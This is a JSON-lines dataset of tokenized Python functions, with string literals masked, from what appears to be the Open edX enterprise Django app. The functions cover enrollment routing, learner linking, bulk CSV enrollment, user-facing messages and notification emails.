{"signature": "def eligible_for_direct_audit_enrollment(self, request, enterprise_customer, resource_id, course_key=None):", "body": "course_identifier = course_key if course_key else resource_id<EOL>return request.GET.get('<STR_LIT>') andrequest.path == self.COURSE_ENROLLMENT_VIEW_URL.format(enterprise_customer.uuid, course_identifier) andenterprise_customer.catalog_contains_course(resource_id) andEnrollmentApiClient().has_course_mode(resource_id, '<STR_LIT>')<EOL>", "docstring": "Return whether a request is eligible for direct audit enrollment for a particular enterprise customer.\n\n'resource_id' can be either course_run_id or program_uuid.\nWe check for the following criteria:\n- The `audit` query parameter.\n- The user's being routed to the course enrollment landing page.\n- The customer's catalog contains the course in question.\n- The audit track is an available mode for the course.", "id": "f16059:c5:m2"}
{"signature": "def redirect(self, request, *args, **kwargs):", "body": "enterprise_customer_uuid, course_run_id, course_key, program_uuid = RouterView.get_path_variables(**kwargs)<EOL>resource_id = course_key or course_run_id or program_uuid<EOL>path = re.sub('<STR_LIT>'.format(enterprise_customer_uuid, re.escape(resource_id)), '<STR_LIT:{}>', request.path)<EOL>kwargs.pop('<STR_LIT>', None)<EOL>return self.VIEWS[path].as_view()(request, *args, **kwargs)<EOL>", "docstring": "Redirects to the appropriate view depending on where the user came from.", "id": "f16059:c5:m3"}
{"signature": "@method_decorator(enterprise_login_required)<EOL><INDENT>@method_decorator(force_fresh_session)<EOL>def get(self, request, *args, **kwargs):<DEDENT>", "body": "enterprise_customer_uuid, course_run_id, course_key, program_uuid = RouterView.get_path_variables(**kwargs)<EOL>enterprise_customer = get_enterprise_customer_or_404(enterprise_customer_uuid)<EOL>if course_key:<EOL><INDENT>try:<EOL><INDENT>course_run_id = RouterView.get_course_run_id(request.user, enterprise_customer, course_key)<EOL><DEDENT>except Http404:<EOL><INDENT>context_data = get_global_context(request, enterprise_customer)<EOL>error_code = '<STR_LIT>'<EOL>log_message = (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(<EOL>course_key=course_key,<EOL>course_run_id=course_run_id,<EOL>enterprise_customer_uuid=enterprise_customer_uuid,<EOL>error_code=error_code,<EOL>userid=request.user.id,<EOL>program_uuid=program_uuid,<EOL>)<EOL>)<EOL>return render_page_with_error_code_message(request, context_data, error_code, log_message)<EOL><DEDENT>kwargs['<STR_LIT>'] = course_run_id<EOL><DEDENT>with transaction.atomic():<EOL><INDENT>enterprise_customer_user, __ = EnterpriseCustomerUser.objects.get_or_create(<EOL>enterprise_customer=enterprise_customer,<EOL>user_id=request.user.id<EOL>)<EOL>enterprise_customer_user.update_session(request)<EOL><DEDENT>resource_id = course_run_id or program_uuid<EOL>if self.eligible_for_direct_audit_enrollment(request, enterprise_customer, resource_id, course_key):<EOL><INDENT>try:<EOL><INDENT>enterprise_customer_user.enroll(resource_id, '<STR_LIT>', cohort=request.GET.get('<STR_LIT>', None))<EOL>track_enrollment('<STR_LIT>', request.user.id, resource_id, request.get_full_path())<EOL><DEDENT>except (CourseEnrollmentDowngradeError, CourseEnrollmentPermissionError):<EOL><INDENT>pass<EOL><DEDENT>return redirect(LMS_COURSEWARE_URL.format(course_id=resource_id))<EOL><DEDENT>return self.redirect(request, *args, **kwargs)<EOL>", "docstring": "Run some custom GET logic for Enterprise workflows before routing the user through existing views.\n\nIn particular, before routing to existing views:\n- If the requested resource is a course, find the current course run for that course,\n  and make that course run the requested resource instead.\n- Look to see whether a request is eligible for direct audit enrollment, and if so, directly enroll the user.", "id": "f16059:c5:m4"}
{"signature": "@method_decorator(enterprise_login_required)<EOL><INDENT>def post(self, request, *args, **kwargs):<DEDENT>", "body": "<EOL>enterprise_customer_uuid, course_run_id, course_key, program_uuid = RouterView.get_path_variables(**kwargs)<EOL>enterprise_customer = get_enterprise_customer_or_404(enterprise_customer_uuid)<EOL>if course_key:<EOL><INDENT>context_data = get_global_context(request, enterprise_customer)<EOL>try:<EOL><INDENT>kwargs['<STR_LIT>'] = RouterView.get_course_run_id(request.user, enterprise_customer, course_key)<EOL><DEDENT>except Http404:<EOL><INDENT>error_code = '<STR_LIT>'<EOL>log_message = (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(<EOL>course_key=course_key,<EOL>course_run_id=course_run_id,<EOL>enterprise_customer_uuid=enterprise_customer_uuid,<EOL>error_code=error_code,<EOL>userid=request.user.id,<EOL>program_uuid=program_uuid,<EOL>)<EOL>)<EOL>return render_page_with_error_code_message(request, context_data, error_code, log_message)<EOL><DEDENT><DEDENT>return self.redirect(request, *args, **kwargs)<EOL>", "docstring": "Run some custom POST logic for Enterprise workflows before routing the user through existing views.", "id": "f16059:c5:m5"}
{"signature": "def json_serialized_course_modes():", "body": "return json.dumps(COURSE_MODE_SORT_ORDER)<EOL>", "docstring": ":return: serialized course modes.", "id": "f16060:m0"}
{"signature": "def add_consent_declined_message(request, enterprise_customer, item):", "body": "messages.warning(<EOL>request,<EOL>_(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>).format(<EOL>item=item,<EOL>em_start='<STR_LIT>',<EOL>em_end='<STR_LIT>',<EOL>enterprise_customer_name=enterprise_customer.name,<EOL>link_start='<STR_LIT>'.format(<EOL>support_link=get_configuration_value('<STR_LIT>', settings.ENTERPRISE_SUPPORT_URL),<EOL>),<EOL>platform_name=get_configuration_value('<STR_LIT>', settings.PLATFORM_NAME),<EOL>link_end='<STR_LIT>',<EOL>span_start='<STR_LIT>',<EOL>span_end='<STR_LIT>',<EOL>strong_start='<STR_LIT>',<EOL>strong_end='<STR_LIT>',<EOL>)<EOL>)<EOL>", "docstring": "Add a message to the Django messages store indicating that the user has declined data sharing consent.\n\nArguments:\n    request (HttpRequest): The current request.\n    enterprise_customer (EnterpriseCustomer): The EnterpriseCustomer associated with this request.\n    item (str): A string containing information about the item for which consent was declined.", "id": "f16061:m0"}
{"signature": "def add_missing_price_information_message(request, item):", "body": "messages.warning(<EOL>request,<EOL>_(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>).format(<EOL>item=item,<EOL>em_start='<STR_LIT>',<EOL>em_end='<STR_LIT>',<EOL>link_start='<STR_LIT>'.format(<EOL>support_link=get_configuration_value('<STR_LIT>', settings.ENTERPRISE_SUPPORT_URL),<EOL>),<EOL>platform_name=get_configuration_value('<STR_LIT>', settings.PLATFORM_NAME),<EOL>link_end='<STR_LIT>',<EOL>span_start='<STR_LIT>',<EOL>span_end='<STR_LIT>',<EOL>strong_start='<STR_LIT>',<EOL>strong_end='<STR_LIT>',<EOL>)<EOL>)<EOL>", "docstring": "Add a message to the Django messages store indicating that we failed to retrieve price information about an item.\n\n:param request: The current request.\n:param item: The item for which price information is missing. Example: a program title, or a course.", "id": "f16061:m1"}
{"signature": "def add_unenrollable_item_message(request, item):", "body": "messages.info(<EOL>request,<EOL>_(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>).format(<EOL>item=item,<EOL>strong_start='<STR_LIT>',<EOL>strong_end='<STR_LIT>',<EOL>span_start='<STR_LIT>',<EOL>span_end='<STR_LIT>',<EOL>)<EOL>)<EOL>", "docstring": "Add a message to the Django message store indicating that the item (i.e. course run, program) is unenrollable.\n\n:param request: The current request.\n:param item: The item that is unenrollable (i.e. a course run).", "id": "f16061:m2"}
{"signature": "def add_generic_info_message_for_error(request):", "body": "messages.info(<EOL>request,<EOL>_(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>).format(<EOL>span_start='<STR_LIT>',<EOL>span_end='<STR_LIT>',<EOL>strong_start='<STR_LIT>',<EOL>strong_end='<STR_LIT>',<EOL>)<EOL>)<EOL>", "docstring": "Add message to request indicating that there was an issue processing request.\n\nArguments:\n    request: The current request.", "id": "f16061:m3"}
{"signature": "def add_generic_error_message_with_code(request, error_code):", "body": "messages.error(<EOL>request,<EOL>_(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>).format(<EOL>error_code=error_code,<EOL>strong_start='<STR_LIT>',<EOL>strong_end='<STR_LIT>',<EOL>span_start='<STR_LIT>',<EOL>span_end='<STR_LIT>',<EOL>)<EOL>)<EOL>", "docstring": "Add message to request indicating that there was an issue processing request.\n\nArguments:\n    request: The current request.\n    error_code: A string error code to be used to point devs to the spot in\n                the code where this error occurred.", "id": "f16061:m4"}
{"signature": "def get(self, request, template_id, view_type):", "body": "template = get_object_or_404(EnrollmentNotificationEmailTemplate, pk=template_id)<EOL>if view_type not in self.view_type_contexts:<EOL><INDENT>return HttpResponse(status=<NUM_LIT>)<EOL><DEDENT>base_context = self.view_type_contexts[view_type].copy()<EOL>base_context.update({'<STR_LIT>': self.get_user_name(request)})<EOL>return HttpResponse(template.render_html_template(base_context), content_type='<STR_LIT>')<EOL>", "docstring": "Render the given template with the stock data.", "id": "f16062:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>def get_user_name(request):<DEDENT>", "body": "return request.user.first_name or request.user.username<EOL>", "docstring": "Get a human-readable name for the user.", "id": "f16062:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def _build_admin_context(request, customer):<DEDENT>", "body": "opts = customer._meta<EOL>codename = get_permission_codename('<STR_LIT>', opts)<EOL>has_change_permission = request.user.has_perm('<STR_LIT>' % (opts.app_label, codename))<EOL>return {<EOL>'<STR_LIT>': has_change_permission,<EOL>'<STR_LIT>': opts<EOL>}<EOL>", "docstring": "Build common admin context.", "id": "f16062:c1:m0"}
{"signature": "def _build_context(self, request, enterprise_customer_uuid):", "body": "enterprise_customer = EnterpriseCustomer.objects.get(uuid=enterprise_customer_uuid)  <EOL>context = {<EOL>self.ContextParameters.ENTERPRISE_CUSTOMER: enterprise_customer,<EOL>}<EOL>context.update(admin.site.each_context(request))<EOL>context.update(self._build_admin_context(request, enterprise_customer))<EOL>return context<EOL>", "docstring": "Build common context parts used by different handlers in this view.", "id": "f16062:c1:m1"}
{"signature": "def get(self, request, enterprise_customer_uuid):", "body": "context = self._build_context(request, enterprise_customer_uuid)<EOL>transmit_courses_metadata_form = TransmitEnterpriseCoursesForm()<EOL>context.update({self.ContextParameters.TRANSMIT_COURSES_METADATA_FORM: transmit_courses_metadata_form})<EOL>return render(request, self.template, context)<EOL>", "docstring": "Handle GET request - render \"Transmit courses metadata\" form.\n\nArguments:\n    request (django.http.request.HttpRequest): Request instance\n    enterprise_customer_uuid (str): Enterprise Customer UUID\n\nReturns:\n    django.http.response.HttpResponse: HttpResponse", "id": "f16062:c1:m2"}
{"signature": "def post(self, request, enterprise_customer_uuid):", "body": "transmit_courses_metadata_form = TransmitEnterpriseCoursesForm(request.POST)<EOL>if transmit_courses_metadata_form.is_valid():<EOL><INDENT>channel_worker_username = transmit_courses_metadata_form.cleaned_data['<STR_LIT>']<EOL>call_command(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>', channel_worker_username,<EOL>enterprise_customer=enterprise_customer_uuid<EOL>)<EOL>return HttpResponseRedirect('<STR_LIT>')<EOL><DEDENT>context = self._build_context(request, enterprise_customer_uuid)<EOL>context.update({self.ContextParameters.TRANSMIT_COURSES_METADATA_FORM: transmit_courses_metadata_form})<EOL>return render(request, self.template, context)<EOL>", "docstring": "Handle POST request - handle form submissions.\n\nArguments:\n    request (django.http.request.HttpRequest): Request instance\n    enterprise_customer_uuid (str): Enterprise Customer UUID", "id": "f16062:c1:m3"}
{"signature": "@staticmethod<EOL><INDENT>def _build_admin_context(request, customer):<DEDENT>", "body": "opts = customer._meta<EOL>codename = get_permission_codename(\"<STR_LIT>\", opts)<EOL>has_change_permission = request.user.has_perm(\"<STR_LIT>\" % (opts.app_label, codename))<EOL>return {<EOL>\"<STR_LIT>\": has_change_permission,<EOL>\"<STR_LIT>\": opts<EOL>}<EOL>", "docstring": "Build common admin context.", "id": "f16062:c2:m0"}
{"signature": "def _build_context(self, request, customer_uuid):", "body": "<EOL>enterprise_customer = EnterpriseCustomer.objects.get(uuid=customer_uuid)  <EOL>search_keyword = self.get_search_keyword(request)<EOL>linked_learners = self.get_enterprise_customer_user_queryset(request, search_keyword, customer_uuid)<EOL>pending_linked_learners = self.get_pending_users_queryset(search_keyword, customer_uuid)<EOL>context = {<EOL>self.ContextParameters.ENTERPRISE_CUSTOMER: enterprise_customer,<EOL>self.ContextParameters.PENDING_LEARNERS: pending_linked_learners,<EOL>self.ContextParameters.LEARNERS: linked_learners,<EOL>self.ContextParameters.SEARCH_KEYWORD: search_keyword or '<STR_LIT>',<EOL>self.ContextParameters.ENROLLMENT_URL: settings.LMS_ENROLLMENT_API_PATH,<EOL>}<EOL>context.update(admin.site.each_context(request))<EOL>context.update(self._build_admin_context(request, enterprise_customer))<EOL>return context<EOL>", "docstring": "Build common context parts used by different handlers in this view.", "id": "f16062:c2:m1"}
{"signature": "def get_search_keyword(self, request):", "body": "return request.GET.get('<STR_LIT:q>', None)<EOL>", "docstring": "Retrieve the search querystring from the GET parameters.", "id": "f16062:c2:m2"}
{"signature": "def get_enterprise_customer_user_queryset(self, request, search_keyword, customer_uuid, page_size=PAGE_SIZE):", "body": "page = request.GET.get('<STR_LIT>', <NUM_LIT:1>)<EOL>learners = EnterpriseCustomerUser.objects.filter(enterprise_customer__uuid=customer_uuid)<EOL>user_ids = learners.values_list('<STR_LIT>', flat=True)<EOL>matching_users = User.objects.filter(pk__in=user_ids)<EOL>if search_keyword is not None:<EOL><INDENT>matching_users = matching_users.filter(<EOL>Q(email__icontains=search_keyword) | Q(username__icontains=search_keyword)<EOL>)<EOL><DEDENT>matching_user_ids = matching_users.values_list('<STR_LIT>', flat=True)<EOL>learners = learners.filter(user_id__in=matching_user_ids)<EOL>return paginated_list(learners, page, page_size)<EOL>", "docstring": "Get the list of EnterpriseCustomerUsers we want to render.\n\nArguments:\n    request (HttpRequest): HTTP Request instance.\n    search_keyword (str): The keyword to search for in users' email addresses and usernames.\n    customer_uuid (str): A unique identifier to filter down to only users linked to a\n    particular EnterpriseCustomer.\n    page_size (int): Number of learners displayed in each paginated set.", "id": "f16062:c2:m3"}
{"signature": "def get_pending_users_queryset(self, search_keyword, customer_uuid):", "body": "queryset = PendingEnterpriseCustomerUser.objects.filter(<EOL>enterprise_customer__uuid=customer_uuid<EOL>)<EOL>if search_keyword is not None:<EOL><INDENT>queryset = queryset.filter(user_email__icontains=search_keyword)<EOL><DEDENT>return queryset<EOL>", "docstring": "Get the list of PendingEnterpriseCustomerUsers we want to render.\n\nArgs:\n    search_keyword (str): The keyword to search for in pending users' email addresses.\n    customer_uuid (str): A unique identifier to filter down to only pending users\n    linked to a particular EnterpriseCustomer.", "id": "f16062:c2:m4"}
{"signature": "@classmethod<EOL><INDENT>def _handle_singular(cls, enterprise_customer, manage_learners_form):<DEDENT>", "body": "form_field_value = manage_learners_form.cleaned_data[ManageLearnersForm.Fields.EMAIL_OR_USERNAME]<EOL>email = email_or_username__to__email(form_field_value)<EOL>try:<EOL><INDENT>validate_email_to_link(email, form_field_value, ValidationMessages.INVALID_EMAIL_OR_USERNAME, True)<EOL><DEDENT>except ValidationError as exc:<EOL><INDENT>manage_learners_form.add_error(ManageLearnersForm.Fields.EMAIL_OR_USERNAME, exc)<EOL><DEDENT>else:<EOL><INDENT>EnterpriseCustomerUser.objects.link_user(enterprise_customer, email)<EOL>return [email]<EOL><DEDENT>", "docstring": "Link single user by email or username.\n\nArguments:\n    enterprise_customer (EnterpriseCustomer): learners will be linked to this Enterprise Customer instance\n    manage_learners_form (ManageLearnersForm): bound ManageLearners form instance", "id": "f16062:c2:m5"}
{"signature": "@classmethod<EOL><INDENT>def _handle_bulk_upload(cls, enterprise_customer, manage_learners_form, request, email_list=None):<DEDENT>", "body": "errors = []<EOL>emails = set()<EOL>already_linked_emails = []<EOL>duplicate_emails = []<EOL>csv_file = manage_learners_form.cleaned_data[ManageLearnersForm.Fields.BULK_UPLOAD]<EOL>if email_list:<EOL><INDENT>parsed_csv = [{ManageLearnersForm.CsvColumns.EMAIL: email} for email in email_list]<EOL><DEDENT>else:<EOL><INDENT>parsed_csv = parse_csv(csv_file, expected_columns={ManageLearnersForm.CsvColumns.EMAIL})<EOL><DEDENT>try:<EOL><INDENT>for index, row in enumerate(parsed_csv):<EOL><INDENT>email = row[ManageLearnersForm.CsvColumns.EMAIL]<EOL>try:<EOL><INDENT>already_linked = validate_email_to_link(email, ignore_existing=True)<EOL><DEDENT>except ValidationError as exc:<EOL><INDENT>message = _(\"<STR_LIT>\").format(line=index + <NUM_LIT:1>, message=exc)<EOL>errors.append(message)<EOL><DEDENT>else:<EOL><INDENT>if already_linked:<EOL><INDENT>already_linked_emails.append((email, already_linked.enterprise_customer))<EOL><DEDENT>elif email in emails:<EOL><INDENT>duplicate_emails.append(email)<EOL><DEDENT>else:<EOL><INDENT>emails.add(email)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>except ValidationError as exc:<EOL><INDENT>errors.append(exc)<EOL><DEDENT>if errors:<EOL><INDENT>manage_learners_form.add_error(<EOL>ManageLearnersForm.Fields.GENERAL_ERRORS, ValidationMessages.BULK_LINK_FAILED<EOL>)<EOL>for error in errors:<EOL><INDENT>manage_learners_form.add_error(ManageLearnersForm.Fields.BULK_UPLOAD, error)<EOL><DEDENT>return<EOL><DEDENT>for email in emails:<EOL><INDENT>EnterpriseCustomerUser.objects.link_user(enterprise_customer, email)<EOL><DEDENT>count = len(emails)<EOL>messages.success(request, ungettext(<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>count<EOL>).format(count=count, enterprise_customer_name=enterprise_customer.name))<EOL>this_customer_linked_emails = [<EOL>email for email, customer in already_linked_emails if customer == enterprise_customer<EOL>]<EOL>other_customer_linked_emails = [<EOL>email for email, __ in already_linked_emails if email not in this_customer_linked_emails<EOL>]<EOL>if this_customer_linked_emails:<EOL><INDENT>messages.warning(<EOL>request,<EOL>_(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>).format(<EOL>list_of_emails=\"<STR_LIT:U+002CU+0020>\".join(this_customer_linked_emails)<EOL>)<EOL>)<EOL><DEDENT>if other_customer_linked_emails:<EOL><INDENT>messages.warning(<EOL>request,<EOL>_(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>).format(<EOL>enterprise_customer_name=enterprise_customer.name,<EOL>list_of_emails=\"<STR_LIT:U+002CU+0020>\".join(other_customer_linked_emails),<EOL>)<EOL>)<EOL><DEDENT>if duplicate_emails:<EOL><INDENT>messages.warning(<EOL>request,<EOL>_(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>).format(<EOL>list_of_emails=\"<STR_LIT:U+002CU+0020>\".join(duplicate_emails)<EOL>)<EOL>)<EOL><DEDENT>all_processable_emails = list(emails) + this_customer_linked_emails<EOL>return all_processable_emails<EOL>", "docstring": "Bulk link users by email.\n\nArguments:\n    enterprise_customer (EnterpriseCustomer): learners will be linked to this Enterprise Customer instance\n    manage_learners_form (ManageLearnersForm): bound ManageLearners form instance\n    request (django.http.request.HttpRequest): HTTP Request instance\n    email_list (iterable): A list of pre-processed email addresses to handle using the form", "id": "f16062:c2:m6"}
{"signature": "@classmethod<EOL><INDENT>def enroll_user(cls, enterprise_customer, user, course_mode, *course_ids):<DEDENT>", "body": "enterprise_customer_user, __ = EnterpriseCustomerUser.objects.get_or_create(<EOL>enterprise_customer=enterprise_customer,<EOL>user_id=user.id<EOL>)<EOL>enrollment_client = EnrollmentApiClient()<EOL>succeeded = True<EOL>for course_id in course_ids:<EOL><INDENT>try:<EOL><INDENT>enrollment_client.enroll_user_in_course(user.username, course_id, course_mode)<EOL><DEDENT>except HttpClientError as exc:<EOL><INDENT>if cls.is_user_enrolled(user, course_id, course_mode):<EOL><INDENT>succeeded = True<EOL><DEDENT>else:<EOL><INDENT>succeeded = False<EOL>default_message = '<STR_LIT>'<EOL>try:<EOL><INDENT>error_message = json.loads(exc.content.decode()).get('<STR_LIT:message>', default_message)<EOL><DEDENT>except ValueError:<EOL><INDENT>error_message = default_message<EOL><DEDENT>logging.error(<EOL>'<STR_LIT>',<EOL>dict(user=user.username, message=error_message)<EOL>)<EOL><DEDENT><DEDENT>if succeeded:<EOL><INDENT>__, created = EnterpriseCourseEnrollment.objects.get_or_create(<EOL>enterprise_customer_user=enterprise_customer_user,<EOL>course_id=course_id<EOL>)<EOL>if created:<EOL><INDENT>track_enrollment('<STR_LIT>', user.id, course_id)<EOL><DEDENT><DEDENT><DEDENT>return succeeded<EOL>", "docstring": "Enroll a single user in any number of courses using a particular course mode.\n\nArgs:\n    enterprise_customer: The EnterpriseCustomer which is sponsoring the enrollment\n    user: The user who needs to be enrolled in the course\n    course_mode: The mode with which the enrollment should be created\n    *course_ids: An iterable containing any number of course IDs to eventually enroll the user in.\n\nReturns:\n    Boolean: Whether or not enrollment succeeded for all courses specified", "id": "f16062:c2:m7"}
{"signature": "@classmethod<EOL><INDENT>def is_user_enrolled(cls, user, course_id, course_mode):<DEDENT>", "body": "enrollment_client = EnrollmentApiClient()<EOL>try:<EOL><INDENT>enrollments = enrollment_client.get_course_enrollment(user.username, course_id)<EOL>if enrollments and course_mode == enrollments.get('<STR_LIT>'):<EOL><INDENT>return True<EOL><DEDENT><DEDENT>except HttpClientError as exc:<EOL><INDENT>logging.error(<EOL>'<STR_LIT>',<EOL>dict(user=user.username, message=str(exc))<EOL>)<EOL><DEDENT>except KeyError as exc:<EOL><INDENT>logging.warning(<EOL>'<STR_LIT>',<EOL>dict(user=user.username, message=str(exc))<EOL>)<EOL><DEDENT>return False<EOL>", "docstring": "Query the enrollment API and determine if a learner is enrolled in a given course run track.\n\nArgs:\n    user: The user whose enrollment needs to be checked\n    course_mode: The mode with which the enrollment should be checked\n    course_id: course id of the course where enrollment should be checked.\n\nReturns:\n    Boolean: Whether or not enrollment exists", "id": "f16062:c2:m8"}
{"signature": "@classmethod<EOL><INDENT>def get_users_by_email(cls, emails):<DEDENT>", "body": "users = User.objects.filter(email__in=emails)<EOL>present_emails = users.values_list('<STR_LIT:email>', flat=True)<EOL>missing_emails = list(set(emails) - set(present_emails))<EOL>return users, missing_emails<EOL>", "docstring": "Accept a list of emails, and separate them into users that exist on OpenEdX and users who don't.\n\nArgs:\n    emails: An iterable of email addresses to split between existing and nonexisting\n\nReturns:\n    users: Queryset of users who exist in the OpenEdX platform and who were in the list of email addresses\n    missing_emails: List of unique emails which were in the original list, but do not yet exist as users", "id": "f16062:c2:m9"}
{"signature": "@classmethod<EOL><INDENT>def enroll_users_in_program(cls, enterprise_customer, program_details, course_mode, emails, cohort=None):<DEDENT>", "body": "existing_users, unregistered_emails = cls.get_users_by_email(emails)<EOL>course_ids = get_course_runs_from_program(program_details)<EOL>successes = []<EOL>pending = []<EOL>failures = []<EOL>for user in existing_users:<EOL><INDENT>succeeded = cls.enroll_user(enterprise_customer, user, course_mode, *course_ids)<EOL>if succeeded:<EOL><INDENT>successes.append(user)<EOL><DEDENT>else:<EOL><INDENT>failures.append(user)<EOL><DEDENT><DEDENT>for email in unregistered_emails:<EOL><INDENT>pending_user = enterprise_customer.enroll_user_pending_registration(<EOL>email,<EOL>course_mode,<EOL>*course_ids,<EOL>cohort=cohort<EOL>)<EOL>pending.append(pending_user)<EOL><DEDENT>return successes, pending, failures<EOL>", "docstring": "Enroll existing users in all courses in a program, and create pending enrollments for nonexisting users.\n\nArgs:\n    enterprise_customer: The EnterpriseCustomer which is sponsoring the enrollment\n    program_details: The details of the program in which we're enrolling\n    course_mode (str): The mode with which we're enrolling in the program\n    emails: An iterable of email addresses which need to be enrolled\n\nReturns:\n    successes: A list of users who were successfully enrolled in all courses of the program\n    pending: A list of PendingEnterpriseCustomerUsers who were successfully linked and had\n        pending enrollments created for them in the database\n    failures: A list of users who could not be enrolled in the program", "id": "f16062:c2:m10"}
{"signature": "@classmethod<EOL><INDENT>def enroll_users_in_course(cls, enterprise_customer, course_id, course_mode, emails):<DEDENT>", "body": "existing_users, unregistered_emails = cls.get_users_by_email(emails)<EOL>successes = []<EOL>pending = []<EOL>failures = []<EOL>for user in existing_users:<EOL><INDENT>succeeded = cls.enroll_user(enterprise_customer, user, course_mode, course_id)<EOL>if succeeded:<EOL><INDENT>successes.append(user)<EOL><DEDENT>else:<EOL><INDENT>failures.append(user)<EOL><DEDENT><DEDENT>for email in unregistered_emails:<EOL><INDENT>pending_user = enterprise_customer.enroll_user_pending_registration(<EOL>email,<EOL>course_mode,<EOL>course_id<EOL>)<EOL>pending.append(pending_user)<EOL><DEDENT>return successes, pending, failures<EOL>", "docstring": "Enroll existing users in a course, and create a pending enrollment for nonexisting users.\n\nArgs:\n    enterprise_customer: The EnterpriseCustomer which is sponsoring the enrollment\n    course_id (str): The unique identifier of the course in which we're enrolling\n    course_mode (str): The mode with which we're enrolling in the course\n    emails: An iterable of email addresses which need to be enrolled\n\nReturns:\n    successes: A list of users who were successfully enrolled in the course\n    pending: A list of PendingEnterpriseCustomerUsers who were successfully linked and had\n        pending enrollments created for them in the database\n    failures: A list of users who could not be enrolled in the course", "id": "f16062:c2:m11"}
{"signature": "@classmethod<EOL><INDENT>def send_messages(cls, http_request, message_requests):<DEDENT>", "body": "deduplicated_messages = set(message_requests)<EOL>for msg_type, text in deduplicated_messages:<EOL><INDENT>message_function = getattr(messages, msg_type)<EOL>message_function(http_request, text)<EOL><DEDENT>", "docstring": "Deduplicate any outgoing message requests, and send the remainder.\n\nArgs:\n    http_request: The HTTP request in whose response we want to embed the messages\n    message_requests: A list of undeduplicated messages in the form of tuples of message type\n        and text- for example, ('error', 'Something went wrong')", "id": "f16062:c2:m12"}
{"signature": "@classmethod<EOL><INDENT>def notify_program_learners(cls, enterprise_customer, program_details, users):<DEDENT>", "body": "program_name = program_details.get('<STR_LIT:title>')<EOL>program_branding = program_details.get('<STR_LIT:type>')<EOL>program_uuid = program_details.get('<STR_LIT>')<EOL>lms_root_url = get_configuration_value_for_site(<EOL>enterprise_customer.site,<EOL>'<STR_LIT>',<EOL>settings.LMS_ROOT_URL<EOL>)<EOL>program_path = urlquote(<EOL>'<STR_LIT>'.format(<EOL>program_uuid=program_uuid,<EOL>tpa_hint=enterprise_customer.identity_provider,<EOL>)<EOL>)<EOL>destination_url = '<STR_LIT>'.format(<EOL>site=lms_root_url,<EOL>login_or_register='<STR_LIT>',<EOL>program_path=program_path<EOL>)<EOL>program_type = '<STR_LIT>'<EOL>program_start = get_earliest_start_date_from_program(program_details)<EOL>with mail.get_connection() as email_conn:<EOL><INDENT>for user in users:<EOL><INDENT>login_or_register = '<STR_LIT>' if isinstance(user, PendingEnterpriseCustomerUser) else '<STR_LIT>'<EOL>destination_url = destination_url.format(login_or_register=login_or_register)<EOL>send_email_notification_message(<EOL>user=user,<EOL>enrolled_in={<EOL>'<STR_LIT:name>': program_name,<EOL>'<STR_LIT:url>': destination_url,<EOL>'<STR_LIT:type>': program_type,<EOL>'<STR_LIT:start>': program_start,<EOL>'<STR_LIT>': program_branding,<EOL>},<EOL>enterprise_customer=enterprise_customer,<EOL>email_connection=email_conn<EOL>)<EOL><DEDENT><DEDENT>", "docstring": "Notify learners about a program in which they've been enrolled.\n\nArgs:\n    enterprise_customer: The EnterpriseCustomer being linked to\n    program_details: Details about the specific program the learners were enrolled in\n    users: An iterable of the users or pending users who were enrolled", "id": "f16062:c2:m13"}
{"signature": "@classmethod<EOL><INDENT>def get_success_enrollment_message(cls, users, enrolled_in):<DEDENT>", "body": "enrolled_count = len(users)<EOL>return (<EOL>'<STR_LIT:success>',<EOL>ungettext(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>enrolled_count,<EOL>).format(<EOL>enrolled_count=enrolled_count,<EOL>enrolled_in=enrolled_in,<EOL>)<EOL>)<EOL>", "docstring": "Create message for the users who were enrolled in a course or program.\n\nArgs:\n    users: An iterable of users who were successfully enrolled\n    enrolled_in (str): A string identifier for the course or program the users were enrolled in\n\nReturns:\n    tuple: A 2-tuple containing a message type and message text", "id": "f16062:c2:m14"}
{"signature": "@classmethod<EOL><INDENT>def get_failed_enrollment_message(cls, users, enrolled_in):<DEDENT>", "body": "failed_emails = [user.email for user in users]<EOL>return (<EOL>'<STR_LIT:error>',<EOL>_(<EOL>'<STR_LIT>'<EOL>).format(<EOL>enrolled_in=enrolled_in,<EOL>user_list='<STR_LIT:U+002CU+0020>'.join(failed_emails),<EOL>)<EOL>)<EOL>", "docstring": "Create message for the users who were not able to be enrolled in a course or program.\n\nArgs:\n    users: An iterable of users who were not successfully enrolled\n    enrolled_in (str): A string identifier for the course or program with which enrollment was attempted\n\nReturns:\ntuple: A 2-tuple containing a message type and message text", "id": "f16062:c2:m15"}
